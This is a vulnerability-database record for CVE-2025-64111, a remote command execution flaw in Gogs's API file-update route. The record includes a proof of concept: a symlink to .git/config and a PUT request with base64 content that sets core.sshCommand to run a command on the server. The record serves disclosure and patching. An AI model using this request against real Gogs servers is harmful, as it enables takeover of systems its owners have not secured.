{"id":"CVE-2025-64111","aliases":["GHSA-gg64-xxr9-qhjp","GO-2026-4448"],"url":"https://o3.security/vulnerability/CVE-2025-64111","summary":"Gogs's update .git/config file allows remote command execution","details":"### Summary\nDue to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution.\n\n### Details\nFunction `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router  will NOT match any of them.  It's still possible to update `.git/config` file via API router.\nhttps://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206\n\n\n\n### PoC\n```bash\n# add a symlink file and push to repo.\nln -s .git/config link\ngit add link\ngit commit -m 'add' && git push\n```\n\nUpdate file via API router\n```http\nPUT /api/v1/repos/demo/vul/contents/link HTTP/1.1\nContent-Type: application/json\nHost: localhost:3000\nAuthorization: token {token}\n\n{\"message\":\"message\",\"committer\":{\"name\":\"test\",\"email\":\"a@b.com\"},\"content\":\"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy\"}\n```\n\n### Impact\nRCE","published":"2026-02-06T16:58:01.853Z","modified":"2026-08-12T03:51:27.938432160Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"gogs.io/gogs","fixedVersion":"0.13.4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/64xxx/CVE-2025-64111.json"},{"type":"ADVISORY","url":"https://github.com/gogs/gogs/security/advisories/GHSA-gg64-xxr9-qhjp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64111"},{"type":"PACKAGE","url":"https://github.com/gogs/gogs"},{"type":"WEB","url":"https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:27.938432160Z"}}